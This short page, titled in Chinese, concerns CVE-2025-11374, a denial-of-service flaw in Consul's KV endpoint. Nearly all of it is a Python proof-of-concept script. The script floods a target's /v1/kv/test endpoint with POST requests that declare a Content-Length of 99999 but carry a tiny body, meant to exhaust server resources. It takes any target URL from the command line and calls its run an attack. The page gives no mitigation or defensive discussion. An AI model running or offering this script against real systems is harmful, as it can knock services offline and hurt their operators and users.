CVE-2025-11374: Consul KV端点Content-Length验证错误导致拒绝服务漏洞

import requests import sys import time def exploit_consul_dos(target_url, count=10): """ PoC for CVE-2025-11374: Consul KV endpoint DoS via incorrect Content-Length validation This PoC demonstrates the vulnerability by sending requests with mismatched Content-Length headers to exhaust server resources. Args: target_url: Base URL of Consul API (e.g., 'http://target:8500') count: Number of malicious requests to send """ headers = { 'Content-Type': 'application/json', # Intentionally incorrect Content-Length to trigger vulnerability 'Content-Length': '99999' } payload = '{"test": "data"}' # Actual body is much smaller than declared Content-Length print(f'[*] Starting DoS attack on {target_url}') print(f'[*] Sending {count} malformed requests...') for i in range(count): try: response = requests.post( f'{target_url}/v1/kv/test', headers=headers, data=payload, timeout=30 ) print(f'[+] Request {i+1}/{count} sent') except requests.exceptions.RequestException as e: print(f'[-] Request {i+1}/{count} failed: {e}') time.sleep(0.5) print('[*] Attack completed') print('[*] Check Consul service availability') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print('Example: python {sys.argv[0]} http://localhost:8500') sys.exit(1) exploit_consul_dos(sys.argv[1])